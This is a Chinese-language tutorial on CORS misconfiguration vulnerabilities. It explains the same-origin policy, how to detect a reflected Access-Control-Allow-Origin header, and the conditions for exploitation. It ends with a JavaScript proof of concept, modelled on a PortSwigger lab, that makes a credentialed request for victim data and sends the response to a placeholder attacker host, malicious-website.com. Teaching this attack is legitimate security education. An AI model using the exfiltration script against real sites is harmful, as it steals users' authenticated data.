CORS漏洞属于一个协议漏洞,具体是由于同源策略的设置问题触发的漏洞,漏洞利用条件较为苛刻,但实战中也常见。
首先要了解同源策略
同源策略是一种Web浏览器安全机制,旨在防止网站相互攻击。
同源策略限制一个源上的脚本访问另一源上的数据。源由 URI 方案、域和端口号组成。例如,考虑以下 URL:
http://normal-website.com/example/example.html
这使用了方案http
、域normal-website.com
和端口号80
。下表显示了如果上述 URL 上的内容尝试访问其他源,将如何应用同源策略:
访问的 URL | 允许访问吗? |
---|---|
http://normal-website.com/example/ | 是:相同的方案、域和端口 |
http://normal-website.com/example2/ | 是:相同的方案、域和端口 |
https://normal-website.com/example/ | 否:不同的方案和端口 |
http://en.normal-website.com/example/ | 否:不同的域 |
http://www.normal-website.com/example/ | 否:不同的域 |
http://normal-website.com:8080/example/ | 否:不同端口* |
*Internet Explorer 将允许此访问,因为 IE 在应用同源策略时不考虑端口号。
当浏览器从一个源向另一个源发送 HTTP 请求时,与另一域相关的任何 cookie(包括身份验证会话 cookie)也会作为请求的一部分发送。这意味着响应将在用户会话内生成,并包含特定于用户的任何相关数据。如果没有同源策略,如果您访问了恶意网站,它就能够读取您来自 GMail 的电子邮件、来自 Facebook 的私人消息等。
可以参考burp靶场What is CORS (cross-origin resource sharing)? Tutorial & Examples | Web Security Academy
CORS漏洞发现
添加origin字段,发现返回包出现Access-Contorl-Allow-Origin字段
漏洞利用,
1.上述触发条件
2.需要一个服务器放置钓鱼页面
3.引诱用户进行点击界面
复现
登录页面
在服务器上放置脚本界面
将上面的vulunerable-website.com换成下面的域名
var req = new XMLHttpRequest();#创建请求对象
req.onload = reqListener;
req.open('get','https://vulnerable-website.com/sensitive-victim-data',true);
#向https://vulnerable-website.com/sensitive-victim-data发送请求
req.withCredentials = true;
req.send();
function reqListener() {
location='//malicious-website.com/log?key='+this.responseText;
#将返回包信息放到//malicious-website.com/log文件中
};
用户访问上面页面之后
返回的敏感信息